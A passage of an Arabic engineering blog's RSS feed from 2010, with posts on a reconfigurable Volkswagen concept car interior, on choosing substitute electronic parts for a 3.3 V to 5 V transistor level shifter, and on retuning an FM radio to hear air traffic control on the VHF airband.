<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2783&amp;linkname=%D8%A5%D8%B9%D8%A7%D8%AF%D8%A9%20%D8%A7%D9%84%D8%B7%D8%A7%D9%82%D8%A9%20%D9%85%D9%86%20%D9%82%D8%A8%D9%84%20%D9%83%D8%A8%D8%A7%D8%B1%20%D8%A7%D9%84%D9%85%D8%B3%D8%A6%D9%88%D9%84%D9%8A%D9%86%20%D8%A7%D9%84%D8%A7%D9%82%D8%AA%D8%B5%D8%A7%D8%AF%D9%8A%D9%8A%D9%86" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2783&amp;linkname=%D8%A5%D8%B9%D8%A7%D8%AF%D8%A9%20%D8%A7%D9%84%D8%B7%D8%A7%D9%82%D8%A9%20%D9%85%D9%86%20%D9%82%D8%A8%D9%84%20%D9%83%D8%A8%D8%A7%D8%B1%20%D8%A7%D9%84%D9%85%D8%B3%D8%A6%D9%88%D9%84%D9%8A%D9%86%20%D8%A7%D9%84%D8%A7%D9%82%D8%AA%D8%B5%D8%A7%D8%AF%D9%8A%D9%8A%D9%86" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2783&amp;linkname=%D8%A5%D8%B9%D8%A7%D8%AF%D8%A9%20%D8%A7%D9%84%D8%B7%D8%A7%D9%82%D8%A9%20%D9%85%D9%86%20%D9%82%D8%A8%D9%84%20%D9%83%D8%A8%D8%A7%D8%B1%20%D8%A7%D9%84%D9%85%D8%B3%D8%A6%D9%88%D9%84%D9%8A%D9%86%20%D8%A7%D9%84%D8%A7%D9%82%D8%AA%D8%B5%D8%A7%D8%AF%D9%8A%D9%8A%D9%86" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2783&amp;linkname=%D8%A5%D8%B9%D8%A7%D8%AF%D8%A9%20%D8%A7%D9%84%D8%B7%D8%A7%D9%82%D8%A9%20%D9%85%D9%86%20%D9%82%D8%A8%D9%84%20%D9%83%D8%A8%D8%A7%D8%B1%20%D8%A7%D9%84%D9%85%D8%B3%D8%A6%D9%88%D9%84%D9%8A%D9%86%20%D8%A7%D9%84%D8%A7%D9%82%D8%AA%D8%B5%D8%A7%D8%AF%D9%8A%D9%8A%D9%86" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2783&amp;linkname=%D8%A5%D8%B9%D8%A7%D8%AF%D8%A9%20%D8%A7%D9%84%D8%B7%D8%A7%D9%82%D8%A9%20%D9%85%D9%86%20%D9%82%D8%A8%D9%84%20%D9%83%D8%A8%D8%A7%D8%B1%20%D8%A7%D9%84%D9%85%D8%B3%D8%A6%D9%88%D9%84%D9%8A%D9%86%20%D8%A7%D9%84%D8%A7%D9%82%D8%AA%D8%B5%D8%A7%D8%AF%D9%8A%D9%8A%D9%86" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/2783/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>سيارة جديدة من Volkswagen</title>
		<link>http://www.handsah.net/archives/2800</link>
		<comments>http://www.handsah.net/archives/2800#comments</comments>
		<pubDate>Fri, 15 Oct 2010 08:50:59 +0000</pubDate>
		<dc:creator>ديما أسعد</dc:creator>
				<category><![CDATA[هندسة السيارات]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=2800</guid>
		<description><![CDATA[سيارة جديدة تمنحك قيادة متميزة و متفردة عن الكثير غيرها. قابلة لأن تكون إما سيارة [...]]]></description>
			<content:encoded><![CDATA[<p>سيارة جديدة تمنحك قيادة متميزة و متفردة عن الكثير غيرها.</p>
<p>قابلة لأن تكون إما سيارة عائلية أو حتى شخصية ( لشخص واحد ) .. في أي وقت شئت</p>
<p>تسمح لك بممارسة حياتك اليومية بكل تفاصيلها .. داخل أرجاء السيارة</p>
<p>فقد تكون مساحة شاسعة للراحة و الاسترخاء</p>
<p>و يمكن أن تكون في وقت آخر .. كـ ( ورشة ) عمل يومية !!</p>
<p>كلها تقع ضمن اختياراتك .. متى شئت .. كيفما شئت</p>
<p>سيارة جديدة من Volkswagen، مصممها : Mate Bartha</p>
<p>حيث عمل على السيارة لأن تكون قابلة للتغيير ، فتصبح لـ 4 ركاب .. أو اثنين ، و حتى 1</p>
<p>و ذلك بإغلاق الكراسي .. و بالتالي .. تصبح المساحة أشسع !!!</p>
<p>و يمكنك أيضا، اختيار أماكن وجود المقاعد!</p>
<p>أما سقف السيارة، فهو مبتكر، فهو بأكمله عبارة عن فتحة سقف زجاجية، تمنح السيارة شكلاً خارجياً جميلاً</p>
<p>عدا عن السماح لك بالتماس الجمال الخارجي ..!</p>
<p>و بالنسبة للتحكم، فهو يتم من خلال مقعد السائق، فقط بضغطة زر واحدة، و هو على مقعده، يتم تغيير شكل السيارة الداخلي كلياً، كما يهوى و يشاء</p>
<p>إليكم الصور !</p>
<p><a href="http://www.handsah.net/wp-content/uploads/2010/10/volkswageninside.jpg"><img class="aligncenter size-medium wp-image-2801" src="http://www.handsah.net/wp-content/uploads/2010/10/volkswageninside-300x212.jpg" alt="" width="300" height="212" /></a></p>
<p><a href="http://www.handsah.net/wp-content/uploads/2010/10/volkswageninside2.jpg"><img class="aligncenter size-medium wp-image-2802" title="volkswageninside2" src="http://www.handsah.net/wp-content/uploads/2010/10/volkswageninside2-300x212.jpg" alt="" width="300" height="212" /></a></p>
<p><a href="http://www.handsah.net/wp-content/uploads/2010/10/volkswageninside3.jpg"><img class="aligncenter size-medium wp-image-2803" src="http://www.handsah.net/wp-content/uploads/2010/10/volkswageninside3-300x212.jpg" alt="" width="300" height="212" /></a></p>
<p><a href="http://www.handsah.net/wp-content/uploads/2010/10/volkswageninside4.jpg"><img class="aligncenter size-medium wp-image-2804" src="http://www.handsah.net/wp-content/uploads/2010/10/volkswageninside4-300x212.jpg" alt="" width="300" height="212" /></a></p>
<p><a href="http://www.handsah.net/wp-content/uploads/2010/10/volkswageninside5.jpg"><img class="aligncenter size-medium wp-image-2805" src="http://www.handsah.net/wp-content/uploads/2010/10/volkswageninside5-300x212.jpg" alt="" width="300" height="212" /></a></p>
<p><a href="http://www.handsah.net/wp-content/uploads/2010/10/volkswageninside6.jpg"><img class="aligncenter size-medium wp-image-2806" src="http://www.handsah.net/wp-content/uploads/2010/10/volkswageninside6-300x212.jpg" alt="" width="300" height="212" /></a></p>
<p><a href="http://www.handsah.net/wp-content/uploads/2010/10/volkswageninside07.jpg"><img class="aligncenter size-medium wp-image-2807" src="http://www.handsah.net/wp-content/uploads/2010/10/volkswageninside07-300x212.jpg" alt="" width="300" height="212" /></a></p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2800&amp;linkname=%D8%B3%D9%8A%D8%A7%D8%B1%D8%A9%20%D8%AC%D8%AF%D9%8A%D8%AF%D8%A9%20%D9%85%D9%86%20Volkswagen" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2800&amp;linkname=%D8%B3%D9%8A%D8%A7%D8%B1%D8%A9%20%D8%AC%D8%AF%D9%8A%D8%AF%D8%A9%20%D9%85%D9%86%20Volkswagen" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2800&amp;linkname=%D8%B3%D9%8A%D8%A7%D8%B1%D8%A9%20%D8%AC%D8%AF%D9%8A%D8%AF%D8%A9%20%D9%85%D9%86%20Volkswagen" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2800&amp;linkname=%D8%B3%D9%8A%D8%A7%D8%B1%D8%A9%20%D8%AC%D8%AF%D9%8A%D8%AF%D8%A9%20%D9%85%D9%86%20Volkswagen" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2800&amp;linkname=%D8%B3%D9%8A%D8%A7%D8%B1%D8%A9%20%D8%AC%D8%AF%D9%8A%D8%AF%D8%A9%20%D9%85%D9%86%20Volkswagen" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/2800/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>فن اختيار القطع الإلكترونية وبدائلها</title>
		<link>http://www.handsah.net/archives/2765</link>
		<comments>http://www.handsah.net/archives/2765#comments</comments>
		<pubDate>Wed, 13 Oct 2010 04:27:43 +0000</pubDate>
		<dc:creator>وسيم الخاير</dc:creator>
				<category><![CDATA[أبحاث]]></category>
		<category><![CDATA[إلكترونيات]]></category>
		<category><![CDATA[الأقسام الهندسية]]></category>
		<category><![CDATA[الهندسة الإلكترونية]]></category>
		<category><![CDATA[الهندسة الكهربائية]]></category>
		<category><![CDATA[كهرباء]]></category>
		<category><![CDATA[اختيار الترنزستور]]></category>
		<category><![CDATA[البدائل]]></category>
		<category><![CDATA[العناصر الإلكترونية]]></category>
		<category><![CDATA[المكافئات]]></category>
		<category><![CDATA[كيفية اختيار القطع الإلكترونية]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=2765</guid>
		<description><![CDATA[سؤال كان يراودني أيام صغري كثيرا، ولم أجد له إجابة شافية رغم التحاقي بالجامعة، كنت [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.handsah.net/wp-content/uploads/2010/10/eq.jpg"><img class="alignright size-full wp-image-2776" title="eq" src="http://www.handsah.net/wp-content/uploads/2010/10/eq.jpg" alt="" width="450" height="451" /></a></p>
<p>سؤال كان  يراودني أيام صغري كثيرا، ولم أجد له إجابة شافية رغم التحاقي بالجامعة،  كنت أحاول آنذاك أن أسأل وأستفسر مِن كل مَن له علاقة بفن الإلكترونيات، ..  <img src='http://www.handsah.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>وبفضل الله  تمكنت من معرفة الإجابة عنه بعد ما يقارب العشر سنوات. فماهو ذلك السؤال؟<img src="http://muslimlead.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /></p>
<p>كنت حين  أذهب لشراء بعض من قطعي الإلكترونية الخاصة بمشاريعي، أفاجأ أن أغلب تلك  القطع غير متوفر لدى الباعة، وحينئذ كنت أتساءل:  هل يمكنني تغيير تلك  القطعة ببديل لها؟ ولماذا اختار مصمم الدارة هذا الرقم  وهذه القطعة  تحديدا؟ على سبيل المثال:  لمَ يختار بعض المصممين رقم ترانزستور 2222 دون  غيره؟ وهل يمكنني استبداله برقم آخر؟</p>
<p>تدوينتي  لهذا اليوم ستسلط الضوء على كيفية الاختيار الأمثل للقطع أو العناصر  الإلكترونية، ومعرفة الآلية الصحيحة لاختيار البدائل. ولكي نطبق الأسس  العلمية بشكل صحيح، سنستخدم مثالا سهلا ونطبق عليه فعليا آلية البحث عن   القطعة والمكافئات..</p>
<p>تخيلوا معي الموقف التالي:</p>
<p>لدينا  تصميم يعتمد على دارة متصلة بأحد المتحكمات الدقيقة &#8220;مايكروكونترولر PIC 16F84&#8243;  كانت لدي المشكلة التالية:</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/03/3v.jpg"><img src="/DOCUME%7E1/khayerw/LOCALS%7E1/Temp/moz-screenshot.png" alt="" /><img src="/DOCUME%7E1/khayerw/LOCALS%7E1/Temp/moz-screenshot-3.png" alt="" /></a><a href="http://muslimlead.com/wp-content/uploads/2010/10/circuit.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/10/circuit.jpg" alt="" width="414" height="210" /></a><br />
<a href="http://muslimlead.com/wp-content/uploads/2010/10/3v.jpg"><img src="/DOCUME%7E1/khayerw/LOCALS%7E1/Temp/moz-screenshot-2.png" alt="" /><br />
</a></p>
<p>هذا  المايكروكونترولر يعمل عن طريق تغذية  قدرها 3.3 فولت. وهناك أيضا دارة  أخرى متصلة بالمتحكم، إلا أنها تعمل على عن طريق مصدر تغذية 5 فولت وكلاهما  يشتركان في نفس النقطة المرجعية &#8220;الأرضي&#8221;.  المشكلة هي أنه عندما يحاول  المتحكم الذي يعمل بجهد 3.3فولت أن يرسل إشارة &#8220;جهدا&#8221; منطقيا عاليا &#8220;1&#8243;  للدارة التي تعمل بجهد 5 فولت، فإن تلك الدارة لن تفهم تلك القيمة وقد تكون  بالنسبة لها ضمن المجال غير المحدد للقيم المنطقية وبالتالي ستهملها،  والسبب أن قيمة الجهد المطلوب هي من رتبة 5 فولت وليس 3.3 فولت.</p>
<p>ما الحل إذا؟ كيف يمكن للمتحكم أن يرسل قيما منطقية صحيحة مفهومة لدى الدارة  الأخرى من ناحية قيمة الجهد؟</p>
<p>لابد إذا من  وجود طريقة لتحويل جهود الـ 3.3 فولت لقيم أخرى  لكن بجهد 5فولت بحيث  تتمكن الدارة المتصلة بالمتحكم من فهمها والتعامل معها..والطريقة هي بسيطة  للغاية تعتمد على استخدام مفتاح ترانزستور كالذي ناقشناه في <a href="http://muslimlead.com/?p=1844" target="_blank">تدوينة سابقة</a>. انظروا الشكل أدناه:</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/03/3v3.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/03/3v3.jpg" alt="" width="454" height="326" /></a></p>
<p>ماتقوم به  هذه الدارة البسيطة هي أنها ستعمل على رفع مستوى الجهد من 3.3 فولت إلى 5  فولت لتكون الدارة الثانية قادرة على التخاطب معها. وسنلاحظ هنا أن تلك  القيم المنطقية لابد من عكسها، حيث إن الترانزستور في وضعه الحالي سيعمل  على شكل عاكس للقيم، فكل صفر منطقي سيتحول لواحد والعكس صحيح. إلا أنها  ليست مشكلة فيمكننا تلافي هذه النقطة من خلال تعديل شفرة البرنامج داخل  المتحكم.</p>
<p>الكلام حتى  هذه النقطة لازال ممتعا، ننتقل الآن لاختيار القطع اللازمة لصنع دارة  الترانزستور البسيطة، وهي مقاومة وترانزستور. المقاومة أمرها سهل فهي  متوفرة بكثرة في سوق بيع القطع، نأتي الآن للعم ترانزستور صاحب الرقم</p>
<p><strong>2N7002</strong></p>
<p>هل رقم هذا الترانزستور مقدس ياترى؟ أم أنه يمكننا تغييره؟ وكيف؟</p>
<p>لنفترض أن  الدارة المتصلة بالمتحكم ستستهلك تيارا قدره 0.2 ميللي أمبير عند جهد 5  فولت.  فلابد إذا للترانزستور الذي سنقوم باختياره أن يسمح بمرور تيار  مستمر في مصرفه  &#8220;طرف الترانزستور&#8221; على أقل تقدير 1 ميللي أمبير، وأن تكون  لديه القدرة على تحمل جهد قدره 6 فولت كحد أدنى. أما بخصوص البوابة &#8220;الطرف  الآخر للترانزستور&#8221; فكما نعلم أنها ستتصل بالمتحكم الدقيق وبالتالي فرق  الجهد المطبق عليها هو 3.3فولت . إذا فلنلخص المتطلبات الرئيسية  للترانزستور بما يلي:</p>
<ol>
<li>الجهد الأدنى للبوابة هو 3.3 فولت</li>
<li>الجهد الأدنى للمصرف هو 6 فولت عند 1 ميللي أمبير</li>
<li>شكل الترانزستور وأبعاده غير مهمة</li>
<li>درجة الحرارة التي سيعمل بها هي 25 درجة مئوية</li>
</ol>
<p>لدينا الآن  كافة المعلومات اللازمة التي يمكن من خلالها اختيار الترانزستور. لنتوجه  الآن لأحد أهم المواقع التي يشتري من خلالها مصممو الدارات الإلكترونية  والتي سبق أن تعرفنا عليه من خلال هذه <a href="http://muslimlead.com/?p=1051" target="_blank">التدوينة</a></p>
<p>سنقوم بإدخال كلمة ترانزستور &#8220;بالإنجليزية طبعا&#8221; داخل مربع البحث لتظهر لدينا نتائج البحث، بعد ذلك نختار نوع <a href="http://www.qariya.com/vb/showthread.php?t=30445" target="_blank">موسفت</a>،  لتظهر صفحة جديدة بها جداول نختار من خلالها  القيم التي ذكرناها سابقا  والتي تخص الجهد والتيار. بعد ذلك نحدد أقصى قيمة متوقعة للتيار داخل  المربع الخاص بتيار المصرف، ومن ثم نحدد حجم القطعة هل هي سطحية؟ أم كبيرة  الحجم ؟ وأخيرا درجة الحرارة وغيرها من الخواص إن أردنا ذلك، وهنا أذكر أن  دور هذه العملية هو تقليص عدد نتائج البحث.</p>
<p>بعد ذلك نضغط على زر يوجد في أسفل الصفحة اسمه:</p>
<p><strong>Apply Filters</strong></p>
<p>وذلك لتطبيق الكلمات المفتاحية التي بحثنا عنها</p>
<p>ستظهر  الآن النتائج  في صفحة جديدة وهي عديدة، وبالتالي نكون هنا قد أجبنا عن  السؤال الهام: ما هي البدائل؟ فكل النتائج المعروضة أمامنا تشكل بدائل  للموسفت الذي نبحث عنه طالما أنها تحقق الشروط. والأمر الآن متروك لكم في  اختيار أي قطعة من النتائج المعروضة وقد يكون لدينا شرط معين بخصوص السعر  مما سيحدد مجال بحثنا بشكل أكبر.</p>
<p>النتيجة  إذاً، أنه في حال القيام بأي تصميم فلابد من معرفة القيم التي تحكم عمل  دارتنا لأنها ستساعدنا  في تحديد العناصر التي ستستخدم في التصميم. ليس  هناك قيم مقدسة للعناصر الإلكترونية فيمكننا الاستغناء عن عنصر واستخدام  بديل آخر طالما أن ذلك البديل يحقق نفس الشروط التي نبحث عنها، مثل: التيار  وفرق الجهد والتردد والحجم والممانعة، الخ. ويلجأ عادة المصمم البارع  لاختيار قيم أو عنصر معين ويضع شروطا تفوق المطلوب في تصميمه وذلك لضمان  عمل دارته في الظروف المناخية المختلفة. فنجد أحيانا مصمما اختار قيمة تيار  تبلغ 1 أمبير بينما فعليا فهو  يحتاج لـ 0.8 أمبير. ومصمم آخر اختار  مكثفاً له فولتية قدرها 10 فولت والآخر حددها 25 فولت، بالرغم من أن كليهما  سيؤدي وظيفته في الدارة. فالمسألة إذا فن واعتبار لعوامل أخرى أثناء  التصميم. ونصيحتي هنا للهواة هي أن يبحثوا دائما عن بديل يحقق له أقل  الشروط التي بها ستعمل الدارة ولا داعي للالتزام بما يفرضه المصمم. فلو  قلنا أننا بحاجة لمكثف كيميائي ذي جهد 50 فولت، بينما الدارة أساسا تحتاج  حقيقة لـ 12 فولت، فيمكننا حينها الاستعاضة بأي مكثف له جهد 25 فولت.</p>
<p>حسنا.. لنلخص ما ناقشناه:</p>
<p>1.   كي  نتمكن من اختيار قطعة إلكترونية فلابد لنا من أن نفهم العوامل التي تحكم  تلك القطعة: مثل الجهد، التيار، التردد، درجة الحرارة، الحجم، المقاومة،  الخ. بعدها سنكون قادرين على اختيار ذلك العنصر.</p>
<p>2. لاختيار  عنصر مكافئ أو بديل لقظعة مفقودة في الأسواق، يمكننا اللجوء لأحد مواقع  البحث المتخصصة ببيع القطع الإلكترونية والتي من خلالها سنبحث عن ذلك  العنصر ونحدد خواصه لنعرف البدائل المكافئة له.</p>
<p>ولنتذكر أن التصميم هو فن من الفنون التي لابد من ممارستها لإتقانها ولابد من معرفة أساسياتها لنتقن خفاياها.</p>
<p>قراءة ممتعة!</p>
<p>المصادر:</p>
<p>م<a href="http://ww1.microchip.com/downloads/en/devicedoc/35007b.pdf" target="_blank">لف المواصفات الفنية </a>الخاص بالمتحكم</p>
<p><img src="/DOCUME%7E1/khayerw/LOCALS%7E1/Temp/moz-screenshot-2.jpg" alt="" /><img src="/DOCUME%7E1/khayerw/LOCALS%7E1/Temp/moz-screenshot-3.jpg" alt="" /></p>
<p><img src="/DOCUME%7E1/khayerw/LOCALS%7E1/Temp/moz-screenshot.jpg" alt="" /><img src="/DOCUME%7E1/khayerw/LOCALS%7E1/Temp/moz-screenshot-1.jpg" alt="" /></p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2765&amp;linkname=%D9%81%D9%86%20%D8%A7%D8%AE%D8%AA%D9%8A%D8%A7%D8%B1%20%D8%A7%D9%84%D9%82%D8%B7%D8%B9%20%D8%A7%D9%84%D8%A5%D9%84%D9%83%D8%AA%D8%B1%D9%88%D9%86%D9%8A%D8%A9%20%D9%88%D8%A8%D8%AF%D8%A7%D8%A6%D9%84%D9%87%D8%A7" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2765&amp;linkname=%D9%81%D9%86%20%D8%A7%D8%AE%D8%AA%D9%8A%D8%A7%D8%B1%20%D8%A7%D9%84%D9%82%D8%B7%D8%B9%20%D8%A7%D9%84%D8%A5%D9%84%D9%83%D8%AA%D8%B1%D9%88%D9%86%D9%8A%D8%A9%20%D9%88%D8%A8%D8%AF%D8%A7%D8%A6%D9%84%D9%87%D8%A7" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2765&amp;linkname=%D9%81%D9%86%20%D8%A7%D8%AE%D8%AA%D9%8A%D8%A7%D8%B1%20%D8%A7%D9%84%D9%82%D8%B7%D8%B9%20%D8%A7%D9%84%D8%A5%D9%84%D9%83%D8%AA%D8%B1%D9%88%D9%86%D9%8A%D8%A9%20%D9%88%D8%A8%D8%AF%D8%A7%D8%A6%D9%84%D9%87%D8%A7" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2765&amp;linkname=%D9%81%D9%86%20%D8%A7%D8%AE%D8%AA%D9%8A%D8%A7%D8%B1%20%D8%A7%D9%84%D9%82%D8%B7%D8%B9%20%D8%A7%D9%84%D8%A5%D9%84%D9%83%D8%AA%D8%B1%D9%88%D9%86%D9%8A%D8%A9%20%D9%88%D8%A8%D8%AF%D8%A7%D8%A6%D9%84%D9%87%D8%A7" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2765&amp;linkname=%D9%81%D9%86%20%D8%A7%D8%AE%D8%AA%D9%8A%D8%A7%D8%B1%20%D8%A7%D9%84%D9%82%D8%B7%D8%B9%20%D8%A7%D9%84%D8%A5%D9%84%D9%83%D8%AA%D8%B1%D9%88%D9%86%D9%8A%D8%A9%20%D9%88%D8%A8%D8%AF%D8%A7%D8%A6%D9%84%D9%87%D8%A7" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/2765/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>مشروع الأسبوع: التنصت على أبراج مراقبة الطائرات!</title>
		<link>http://www.handsah.net/archives/2697</link>
		<comments>http://www.handsah.net/archives/2697#comments</comments>
		<pubDate>Sun, 03 Oct 2010 15:46:59 +0000</pubDate>
		<dc:creator>وسيم الخاير</dc:creator>
				<category><![CDATA[إلكترونيات]]></category>
		<category><![CDATA[الهندسة الإلكترونية]]></category>
		<category><![CDATA[مشروع نهاية الأسبوع]]></category>
		<category><![CDATA[تنصت]]></category>
		<category><![CDATA[جهاز استقبال أبراج المراقبة]]></category>
		<category><![CDATA[جهاز استقبال لاسلكي]]></category>
		<category><![CDATA[مشروع تجسس]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=2697</guid>
		<description><![CDATA[حان وقت الإثارة لهذا الأسبوع! نعم ..فإنه وقت مشروع الأسبوع مشروعنا لهذا الأسبوع ممتع وسهل [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-2705 aligncenter" title="spy" src="http://www.handsah.net/wp-content/uploads/2010/10/spy.jpeg" alt="" width="372" height="500" /></p>
<p>حان وقت الإثارة لهذا الأسبوع!</p>
<p>نعم ..فإنه وقت مشروع الأسبوع <img src='http://www.handsah.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>مشروعنا لهذا الأسبوع ممتع وسهل للغاية، ولا يحتاج الكثير من الأدوات أو الجهد والوقت.</p>
<p><strong>ما هو مشروعنا؟</strong></p>
<p>سنقوم بتعديل راديو إف إم لنتمكن من سماع أبراج مراقبة الطائرات واستقبال محادثاتهم.<img src="http://muslimlead.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /></p>
<p><strong>الأدوات:</strong></p>
<p>1. راديو إف إم</p>
<p>2. مفك</p>
<p>هل أنتم جاهزون؟</p>
<p>تفضلوا الفيديو، ومن ثم سنناقش الخطوات:</p>
<p><object width="500" height="400"><param name="movie" value="http://www.youtube.com/e/5kvxjNeWMxs"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/e/5kvxjNeWMxs" type="application/x-shockwave-flash" width="500" height="400" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><strong>فكرة المشروع:</strong> أن نعمل على استقبال نطاق ترددات أبراج مراقبة الطائرات، فهي تعمل ضمن نطاق الموجات عالية التردد. فكل ما نحتاجه هو جهاز استقبال له القدرة على استقبال تلك الترددات. وأسهل جهاز استقبال يعرفه الجميع هو الراديو من نوع إف إم. إلا أن ذلك الراديو لا يستطيع استقبال أي تردد فوق نطاق 108 ميجاهرتز. وما نقوم به بهذه التجربة هو أن نعمل على زيادة نطاق استقبال ترددات المذياع عن طريق حيلة سهلة.</p>
<p><strong>الخطوات والتنبيهات:</strong></p>
<p>1.   أبراج مراقبة الطائرات تستخدم ترددا يتراوح ما بين 118-135MHz.   يعرف بما يسمى بـ <a href="http://en.wikipedia.org/wiki/Very_high_frequency" target="_blank">VHF </a>حيث يشمل الترددات من 30-300 ميجاهرتز والطول الموجي هو 1-10 متر</p>
<p>2. يعتمد التعديل على أن نقوم بتغيير خواص قطعتين داخل الراديو وذلك بوساطة المفك، وتلك القطع هي الملف والمحول الخاصين بمجال ترددات الإف إم،  حيث إن الملف والمحول يشكلان المرشح الخاص بترددات الإف إم. وطريقة التغيير هي أن نعمل على توسيع  مساحة الملف وأيضا تحريك القرص الخاص بالمحول،  وبذلك نكون قد غيرنا تردد القطع الخاص بالمرشح ما يعني زيادة  نطاق الترددات المسموح باستقبالها.</p>
<p>3. إذا أحببتم التوسع في هذا المجال فإليكم هذه الدارة التي تمكنكم من صنع جهاز الاستقبال الخاص بهذا النطاق من الترددات:</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/10/rx.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/10/rx.jpg" alt="" width="632" height="529" /></a></p>
<p>وهذا هو <a href="http://www.sentex.net/%7Emec1995/circ/aviarx/aviarx.html" target="_blank">مصدر </a>الدارة مع كافة تفاصيلها</p>
<p>مشروعا ممتعا!</p>
